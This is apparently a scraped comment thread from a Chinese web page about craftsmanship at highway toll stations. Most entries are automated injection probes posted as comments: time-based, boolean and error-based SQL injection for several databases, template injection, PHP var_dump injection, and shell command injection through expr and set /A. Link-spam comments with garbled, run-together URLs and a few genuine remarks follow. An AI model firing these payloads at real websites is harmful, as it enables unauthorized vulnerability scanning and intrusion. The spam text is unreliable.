admin：12345678/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

admin：12345678'/**/and(select'1'from/**/pg_sleep(3))>'0

admin：12345678'/**/and(select'1'from/**/pg_sleep(0))>'0

admin：12345678/**/and(select+1/**/from/**/pg_sleep(3))>0/**/

admin：12345678/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

admin：12345678"and(select*from(select+sleep(3))a/**/union/**/select+1)="

admin：12345678"and(select*from(select+sleep(0))a/**/union/**/select+1)="

admin：12345678'and(select*from(select+sleep(3))a/**/union/**/select+1)='

admin：12345678'and(select*from(select+sleep(0))a/**/union/**/select+1)='

admin：(select*from(select+sleep(3)union/**/select+1)a)

admin：(select*from(select+sleep(0)union/**/select+1)a)

admin：12345678"and"e"="q

admin：12345678"and"q"="q

admin：12345678'and'z'='u

admin：12345678'and'z'='z

admin：12345678/**/and+4=7

admin：12345678/**/and+2=2

admin：12345678'"\(

admin：12345678鎈'"\(

admin：12345678'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1626435552')))>'0

admin：convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1377447200')))

admin：12345678/**/and/**/cast(md5('1055765619')as/**/int)>0

admin：12345678'and(select'1'from/**/cast(md5(1874280911)as/**/int))>'0

admin：extractvalue(1,concat(char(126),md5(1199131167)))

admin：12345678"and/**/extractvalue(1,concat(char(126),md5(1640350969)))and"

admin：12345678'and/**/extractvalue(1,concat(char(126),md5(1165950670)))and'

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',3)=：12345678

admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)=：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:3：12345678

admin'and(select+1)>0waitfor/**/delay'0:0:0：12345678

admin'/**/and(select'1'from/**/pg_sleep(3))>'0：12345678

admin'/**/and(select'1'from/**/pg_sleep(0))>'0：12345678

admin"and(select*from(select+sleep(3))a/**/union/*：12345678

admin"and(select*from(select+sleep(0))a/**/union/*：12345678

admin'and(select*from(select+sleep(3))a/**/union/*：12345678

admin'and(select*from(select+sleep(0))a/**/union/*：12345678

admin"and"g"="b：12345678

admin"and"o"="o：12345678

admin'and'u'='h：12345678

admin'and't'='t：12345678

admin'"\(：12345678

admin鎈'"\(：12345678

admin'and/**/convert(int,sys.fn_sqlvarbasetostr(Ha：12345678

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5'：12345678

admin/**/and/**/cast(md5('1466671519')as/**/int)>0：12345678

admin'and(select'1'from/**/cast(md5(1393050618)as/：12345678

extractvalue(1,concat(char(126),md5(1715360839)))：12345678

admin"and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin'and/**/extractvalue(1,concat(char(126),md5(1：12345678

admin：12345678

admin：<%- 921308739+874107144 %>

admin：#set($c=843612621+865738102)${c}$c

admin：${(928275366+895198342)?c}

admin：${892989473+898421568}

admin：/*1*/{{878869305+974805047}}

admin：'-var_dump(md5(324221980))-'

admin：${@var_dump(md5(298605921))};

admin：12345678&set /A 860061149+960893550

admin：12345678$(expr 913426107 + 940528566)

admin：12345678|expr 946813917 + 841150491

admin：12345678 expr 947206978 + 970404469

<%- 923099162+848389959 %>：12345678

#set($c=906227655+972963058)${c}$c：12345678

${(875635304+902335749)?c}：12345678

${813096202+898392990}：12345678

/*1*/{{808543250+895494277}}：12345678

'-var_dump(md5(253069448))-'：12345678

${@var_dump(md5(603223927))};：12345678

admin&set /A 823667429+960929746：12345678

admin$(expr 977519678 + 921775702)：12345678

admin|expr 942114022 + 903467902：12345678

admin expr 918981411 + 842996928：12345678

admin：12345678

admin：vebbwwwoduiucqssnsic

vebbwwwoduiucqssnsic：12345678

admin：12345678

王兰：赞赞赞

Peter Winter：555-555-0199@example.com

杨丹丹：工匠精神是职业精神的崇高体现，是现在职业人最为缺乏和忽视的职业品格，大国工匠是细处着眼，用一丝一毫的追求，恪守原则，严谨务实，是质的追求，是品格的展现，更是职业精神的闪光点。爱一行，专一行，扎身一行。高速收费站同样需要工匠精神，将服务作为我们的产品，精益服务，卓越服务，让司乘感受到细微之处的温暖、舒适，工匠精神需要传承，匠人品格需要弘扬，大国风范需要我们这一代涌现出更多更执着的匠人。

匠人精神：匠人精神

好厉害：好厉害

爱爱爱：爱爱爱

hqlgveqy：1

Jessalyn：YalearnsomenhitgneweverydayItstrueIguesshttphfadqtcomurlhttpadpxrwysgrcomadpxrwysgrurllinkhttpdeaisxicomdeaisxilink

Servena：Imightbeahrefhttpwidphvuacombetinagaadeadhorsebutthankyouforpostingthis

Charlee：Thisinhtgsisjustthewaytokicklifeintothisdebatehttpwusejaxicomurlhttppghlelifuwcompghlelifuwurllinkhttpjnwnmjetcomjnwnmjetlink

Marsue：Imuchpreferahrefhttpkhfftqfcominomrfativeaarticleslikethistothathighbrowliterature

Mauve：ThatreallycatpruesthespiritofitThanksforposting

孙小锰：求真务实、奋发作为，天空中不留下鸟的痕迹，但我已飞过；即使我们在平凡的岗位上依然想乌龟一样向前爬着，那终究是掷地有声的拼搏过程。——匠人，民族的未来。